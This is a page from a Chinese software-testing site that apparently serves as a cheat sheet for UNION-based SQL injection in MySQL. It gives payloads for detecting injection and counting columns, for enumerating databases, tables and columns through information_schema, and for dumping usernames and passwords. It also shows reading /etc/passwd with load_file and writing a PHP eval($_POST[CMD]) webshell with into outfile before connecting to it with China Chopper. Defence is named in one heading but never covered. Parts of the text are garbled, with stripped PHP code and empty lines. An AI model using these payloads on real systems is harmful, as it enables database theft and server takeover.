Web安全之SQL注入漏洞

发表于:2017-7-21 11:56

字体: | 上一篇 | 下一篇 | 我要投稿

 作者:f354f7231c35    来源:51Testing软件测试网采编

分享:
  三.MySQL中information_schema数据库
  mysql>show tables;
  +---------------------------------------+
  |Tables_in_information_schema|
  +---------------------------------------+
  |COLUMNS|
  |SCHEMATA|
  |TABLES|
  +---------------------------------------+
  SCHEMATA表
  字段:SCHEMA_NAME schema_name存放的是数据库名称
  mysql> desc schemata;
  +----------------------------+--------------+------+-----+---------+-------+
  | Field| Type| Null | Key | Default | Extra |
  +----------------------------+--------------+------+-----+---------+-------+
  | SCHEMA_NAME| varchar(64)| NO||||
  +----------------------------+--------------+------+-----+---------+-------+
  5 rows in set (0.11 sec)
  TABLES表
  字段:TABLE_SCHEMA,TABLE_NAMEtable_schema,table_name
  mysql> desc tables;
  +-----------------+---------------------+------+-----+---------+-------+
  | Field| Type| Null | Key | Default | Extra|
  +-----------------+---------------------+------+-----+---------+-------+
  | TABLE_SCHEMA| varchar(64)| NO||||
  | TABLE_NAME| varchar(64)| NO||||
  +-----------------+---------------------+------+-----+---------+-------+
  21 rows in set (0.00 sec)
  COLUMNS表
  字段:TABLE_SCHEMA,TABLE_NAME,COLUMN_NAMEtable_schema,table_name,column_name
  mysql> desc columns;
  +--------------------------+---------------------+------+-----+---------+------
  | Field| Type| Null | Key | Default | Extra
  |
  +--------------------------+---------------------+------+-----+---------+------
  | TABLE_SCHEMA| varchar(64)| NO|||
  |
  | TABLE_NAME| varchar(64)| NO|||
  |
  | COLUMN_NAME| varchar(64)| NO|||
  +--------------------------+---------------------+------+-----+---------+------
  四.MySQL中UNION规则
  lUNION必须由两条或者两条以上的SELECT语句组成,语句之间关键字用UNION分隔
  lUNION中的查询必须含有相同的列
  lUNION会从查询结果中集中自动取出重复行
  SQL注入挖掘以及防御
  UNION query SQL injection
  利用前提:页面上有显示位
  优点:方便、快捷、易于利用
  缺点:需要显示位
  0x001判断是否存在SQL注入,同时判断注入类型:整型注入还是字符串注入
  判断注入
  uand
  1=1 / and 1=2回显页面不同(整型判断)
  u单引号’判断显示数据库错误信息或者页面回显不同(整型,字符串类型判断)
  u\(转义符)
  u-1
  / +1回显下一个或者上一个页面(整型判断)
  uand
  sleep(5) (判断页面返回时间)
  0x002判断显示位长度,判断列数(二分法)
  orderby 10
  orderby 20
  orderby 15
  ……
  0x003判断查找显示位,UNION联合查询
  unionselect 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15
  0x004查找获取当前所用的数据库用户名,数据库名,数据库路径,操作系统版本,MySQL版本
  user()---数据库用户名
  database()---数据库名
  @@datadir---数据库路径
  @@version_compile_os---操作系统版本
  version()---MySQL数据库版本
  @@version---MySQL数据库版本
  0x005查找列出所有的数据库名称
  limit一个一个打印出来数据库名字
  selectconcat(schema_name) from information_schema.schemata limit 0,1
  group_concat一次性全部显示
  selectgroup_concat(schema_name) from information_schema.schemata
  0x006查找列出所有的表名
  limit一个一个打印出来表名
  select
  concat(table_name) from information_schema.tables where table_schema=0x(数据库名称转十六进制) limit 0,1
  group_concat一次性全部显示
  select
  group_concat(table_name) from information_schema.tables where table_schema=0x(数据库名称转十六进制)
  0x007查找列出所有的字段
  limit一个一个打印出来字段
  select
  concat(column_name) from information_schema.columns where table_schema=0x(数据库名称转十六进制) and table_name=0x(表名转十六进制) limit 0,1
  group_concat一次性全部显示
  select group_concat(column_name)
  from information_schema.columns where table_schema=0x(数据库名称转十六进制) and table_name=0x(表名转十六进制)
  0x008查找列出所有需要的数据
  limit一个一个打印出来数据
  select
  concat(concat(0x7e,username,0x7e,password)) from数据库名字.表名limit 0,1
  group_concat一次性全部显示
  select
  group_concat(concat(0x7e,username,0x7e,password)) from数据库名字.表名
  0x009 load_file()读取文件操作
  前提:
  l知道文件的绝对路径
  l能够使用union查询
  l对web目录有写的权限
  UNION SELECT1,load_file('/etc/passwd’),3,4,5#
  0x2f6574632f706173737764
  UNION SELECT1,load_file(0x2f6574632f706173737764),3,4,5#
  路径没有加单引号的话必须转换成十六进制
  要是想省略单引号的话必须转换成十六进制
  0x010 into outfile写入文件操作
  前提:
  l文件名必须是全路径(绝对路径)
  l用户必须有写文件的权限
  l没有对单引号’过滤
  SELECT ‘’ into outfile ‘C:\\Windows\\tmp\\1.php’
  SELECT ‘’ into outfile ‘C:\\Windows\\tmp\\1.php’
  路径里面两个反斜杠\\可以换成一个正斜杠/
  PHP语句没有加单引号的话必须转换成十六进制
  要是想省略单引号的话必须转换成十六进制
  后面路径的单引号不能省略
  eval($_POST[CMD]); ?>或者
  建议一句话PHP语句转换成十六进制
  0x011一句话木马
  eval($_POST[CMD]); ?>或者
  0x012菜刀连接
  武功再高,也怕菜刀,中国菜刀,就是屌
  SQL注入UNION联合查询类型手札
  0x001判断是否存在SQL注入,同时判断注入类型:整型注入还是字符串型注入
  and 1=1 / and 1=2回显页面不同(整型判断)
  单引号'显示数据库错误或者页面回显不同(整型、字符串类型判断)
  \转义符
  -1 / +1回显下一页或上一页(整型判断)
  and sleep(5)判断页面返回时间
  0x002判断显示位长度,判断列数(二分法)
  order by 10
  order by 20
  order by 15
  0x003判断查找显示位,UNION联合查询
  union select1,2,3,4,5,6,7,8,9,10,11,12,13,14,15
  0x004查找获取当前所用的数据库用户名,数据库名,数据库路径,操作系统版本,MySQL版本
  user()---数据库用户名
  database()---数据库名
  @@datadir---数据库路径
  @@version_compile_os---操作系统版本
  version()---MySQL版本
  0x005查找列出所有数据库名称、表名
  数据库:
  selectconcat(schema_name) from information_schema.schemata limit 0,1
  selectgroup_concat(schema_name) from information_schema.schemata
  表名:
  selectconcat(table_name) from information_schema.tables where table_schema = 0x(数据库名称转十六进制) limit 0,1
  selectgroup_concat(table_name) from information_schema.tables where table_schema =0x(数据库名称转十六进制)
  0x006查找列出所有的字段
  select concat(column_name)from information_schema.columns where table_schema = 0x(数据库名字转十六进制) and table_name = 0x(表名转十六进制) limit 0,1
  selectgroup_concat(column_name) from information_schema.columns where table_schema =0x(数据库名字转十六进制) and
  table_name = 0x(表名转十六进制)
  0x007查找列出所有需要的数据
  selectconcat(concat(0x7e,username,0x7e,password)) from数据库名字.表名limit 0,1
  selectgroup_concat(concat(0x7e,username,0x7e,password)) from数据库名字.表名
  0x008 load_file()读取文件操作
  load_file('/etc/passwd')
  load_file(0x2f6574632f706173737764)
  0x009 into outfile写入文件操作
  ''into outfile'C:\\Windows\\tmp\\1.php'
  0x010一句话木马
  ''
  ''
  ''
  ''
  ''
  0x011菜刀连接
  武功再高,也怕菜刀,中国菜刀,就是叼
22/2<12
100家互联网大公司java笔试题汇总,填问卷领取~

关注51Testing

联系我们

快捷面板 站点地图 联系我们 广告服务 关于我们 站长统计 发展历程

法律顾问:上海兰迪律师事务所 项棋律师
版权所有 上海博为峰软件技术股份有限公司 Copyright©51testing.com 2003-2024
投诉及意见反馈:webmaster@51testing.com; 业务联系:service@51testing.com 021-64471599-8017

沪ICP备05003035号

沪公网安备 31010102002173号